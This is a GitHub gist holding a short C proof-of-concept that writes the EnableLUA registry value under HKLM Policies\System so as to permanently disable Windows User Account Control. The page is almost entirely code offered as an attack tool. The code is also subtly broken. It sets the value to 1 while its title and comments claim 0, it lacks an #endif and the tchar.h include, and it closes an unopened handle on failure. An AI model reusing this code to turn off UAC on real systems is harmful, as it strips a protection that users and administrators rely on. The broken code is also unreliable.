Skip to content

Instantly share code, notes, and snippets.

@slayerlab
Last active December 25, 2017 06:41
Show Gist options
  • Save slayerlab/7f92978aea5fa6a73250c1c991ab7254 to your computer and use it in GitHub Desktop.
Save slayerlab/7f92978aea5fa6a73250c1c991ab7254 to your computer and use it in GitHub Desktop.
1st Windows PoC: Set 0 REG_DWORD value (through RegSetValueEx) into EnableLUA key for UAC definitively disable.
#include <stdio.h>
#include <windows.h>
#if defined(_WIN64)
# define REGKEY_BIT KEY_WOW64_32KEY
#else
# define REGKEY_BIT KEY_WOW64_64KEY
int main(int argc, char *argv[])
{
HKEY hKey;
LONG rRegOpen;
LONG rSetVal;
DWORD dwData = 0x00000001;
/* Equivalent to:
* REG ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\system"
* /t REG_DWORD /d 0 /f
*
* According to MSDN:
* RegOpenKeyEx function [RegOpenKeyExW = UNICODE]
* LONG WINAPI RegOpenKeyExW(
* _In_ HKEY hKey,
* _In_opt_ LPCTSTR lpSubKey,
* _In_ DWORD ulOptions,
* _In_ REGSAM samDesired,
* _Out_ PHKEY phResult
* );
*/
rRegOpen = RegOpenKeyEx(HKEY_LOCAL_MACHINE, _T("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System"), 0, KEY_WRITE|REGKEY_BIT, &hKey);
if (ERROR_SUCCESS != rRegOpen) {
printf("[>] Unable to open registry key: %lu\n", GetLastError());
RegCloseKey(hKey);
}
else {
printf("[*] RegOpenKeyEx() is opened.\n");
}
/* According to MSDN:
* RegSetValueEx function [RegSetValueExW = UNICODE]
* LONG WINAPI RegSetValueEx(
* _In_ HKEY hKey,
* _In_opt_ LPCTSTR lpValueName,
* _Reserved_ DWORD Reserved,
* _In_ DWORD dwType,
* _In_ const BYTE *lpData,
* _In_ DWORD cbData
* );
*/
rSetVal = RegSetValueEx(hKey, _T("EnableLUA"), 0, REG_DWORD, (LPBYTE)&dwData, sizeof(dwData));
if (ERROR_SUCCESS != rSetVal) {
printf("[>] Could not set the category EnableLUA: %lu\n", GetLastError());
return FALSE;
}
else printf("[*] The EnableLUA has been set successfully to 0x%.8X (%u).\n", dwData, dwData);
RegCloseKey(hKey);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment